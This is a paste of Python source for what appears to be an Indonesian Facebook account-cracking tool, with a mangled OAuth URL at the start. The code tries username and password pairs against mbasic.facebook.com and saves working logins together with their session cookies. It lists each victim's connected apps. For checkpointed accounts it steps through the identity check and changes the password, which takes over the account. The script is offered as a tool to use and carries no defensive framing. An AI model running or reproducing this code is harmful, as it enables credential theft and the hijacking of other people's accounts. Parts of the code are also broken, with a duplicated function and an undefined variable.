efsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
- po = ses.post(link,data=data,headers=headers,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- print("")
- tree = Tree(f" ")
- tree.add(f"[CP] [bold yellow]{idf}|{pw} >> {cektahun(idf)} ")
- tree.add(f"[•] [bold white]UGEN : [bold blue]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- print('')
- tree = Tree(f" ")
- tree.add(f"[OK] [bold green]{idf}|{pw} >> {cektahun(idf)} ")
- tree.add(f" [bold green]{kuki}\n")
- tree.add(f"[•] [bold white]UGEN : [bold purple]{ua}\n")
- cetak(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- def cek_apk(kuki):
- session = requests.Session()
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- print ("\r%s \033[0m ☕ %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
- except AttributeError:
- print ("\r %s\033[0m cookie invalid"%(M))
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- print ("\r%s \033[0m 🚬 %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
- except AttributeError:
- print ("\r %s \033[0mcookie invalid"%(M))
- def cek_apk(coki):
- session = requests.Session()
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+coki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- print ("\r%s \033[0m 🚬 %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
- except AttributeError:
- print ("\r %s\033[0m cookie invalid"%(M))
- w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+coki}).text
- sop = bs4.BeautifulSoup(w,"html.parser")
- x = sop.find("form",method="post")
- game = [i.text for i in x.find_all("h3")]
- try:
- for i in range(len(game)):
- print ("\r%s \033[0m ☕ %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
- except AttributeError:
- print ("\r %s \033[0mcookie invalid"%(M))
- ###╭∩╮(︶.︶メ)[ CEK OPSI ](︶.︶メ)╭∩╮###
- import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
- import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
- from concurrent.futures import ThreadPoolExecutor
- from bs4 import BeautifulSoup as parser
- from threading import (Thread, Event)
- from time import sleep as jeda
- from datetime import datetime
- ct = datetime.now()
- n = ct.month
- bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
- try:
- if n < 0 or n > 12:
- exit()
- nTemp = n - 1
- except ValueError:
- exit()
- current = datetime.now()
- hari = current.day
- bulan = bulan_[nTemp]
- tahun = current.year
- bullan = current.month
- waktu = ("%s-%s-%s"%(hari,bulan,tahun))
- bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- P = '\x1b[1;97m' # PUTIH
- J = '\033[38;2;255;127;0;1m' # ORANGE
- N = '\x1b[0m' # WARNA MATI
- acak = [M, H, K, B, U, O, P, J]
- warna = random.choice(acak)
- til ="\033[0m╰─ "
- def jalan(keliling):
- for mau in keliling + '\n':
- sys.stdout.write(mau)
- sys.stdout.flush();jeda(0.03)
- ubah_pass = []
- pwbaru = []
- pwBaru = []
- ubahP = []
- def file_cp():
- dirs = os.listdir('CP')
- cetak(nel(f"[bold white]INGAT TIDAK SEMUA CP TAPYES YA, HANYA HOKI, STAY HALAL SEDIAKAN ROKOK DAN KOPI 🚬☕ ",width=70,title=f"[bold yellow]CEK TAPYES",style=f"bold blue"))
- print ("%s%s%s%s◕➤ \033[0m[!] Pilih Hasil Yg Tersimpan Di Cek Opsi [!]%s\n"%(U,til,O,U,O))
- for file in dirs:
- print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
- try:
- print("\n%s%s%s◕➤ \033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
- opsi()
- except IOError:
- print ('%s%s◕➤ \033[0mfile tidak ada'%(M,til))
- exit()
- def opsi():
- CP = ("CP/")
- romi = input("%s%s%s◕➤ \033[0mNama file %s> %s"%(U,til,O,M,K))
- if romi == "":
- print("%s%s◕➤ \033[0misi yang benar "%(M,til));jeda(2)
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit("\n%s%s◕➤ \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
- jalan("%s%s%s◕➤ \033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
- pw=input("\n%s%s%s◕➤ \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2 = input("%s%s%s◕➤ \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
- if len(pw2) <= 5:
- print("%s%s sandi minimal 6 karakter "%(M,til))
- else:
- pwbaru.append(pw2)
- print("\n %s# %s====================== %s#"%(P,M,P));jeda(2)
- print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
- print(" %s# %s====================== %s#"%(P,M,P));jeda(2)
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
- input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
- back()
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session=requests.Session()
- ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]'
- url = "https://mbasic.facebook.com"
- session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
- soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find("form",{"method":"post"})
- for x in soup("input"):
- data.update({x.get("name"):x.get("value")})
- data.update({"email":user,"pass":pw})
- urlPost=session.post(url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
- else:
- print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
- open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find("form",{"method":"post"})
- listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
- for x in response("input"):
- if x.get("name") in listInput:
- data2.update({x.get("name"):x.get("value")})
- an=session.post(url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all("option")]
- number=0
- print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
- for x in response("input"):
- if x.get("name") in but:
- dat.update({x.get("name"):x.get("value")})
- ubahPw=session.post(url+link2.get("action"),data=dat).text
- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find("form",{"method":"post"})
- but2=["submit[Next]","nh","fb_dtsg","jazoest"]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah("input"):
- dat2.update({b.get("name"):b.get("value")})
- dat2.update({"password_new":"".join(pwbaru)})
- an=session.post(url+link3.get("action"),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s "%(H,til,N,H,user,pwbaru[0],coki))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
- #cek_apk(coki)
- else:
- print("\r%s%s \033[0makun one tab, silahkan anda login "%(H,til))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
- #cek_apk(coki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor "%(M))
- else:
- print("%s%s\033[0mterjadi kesalahan"%(M,til))
- else:
- if "c_user" in session.cookies.get_dict():
- print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
- for opsi in range(len(cek)):
- number +=1
- jalan (" %s%s. %s%s"%(P,str(number),K,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find("div",{"id":"login_error"}).find("div").text
- print("%s╰─ %s"%(M,oh))
- else:
- print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
- #-----------------------[ SYSTEM-CONTROL ]--------------------#
- if __name__=='__main__':
- try:os.system('git pull')
- except:pass
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- try:os.mkdir('/sdcard/Dhanz-DUMP')
- except:pass
- try:os.system('touch .prox.txt')
- except:pass
- login()
Add Comment
Please, Sign In to add comment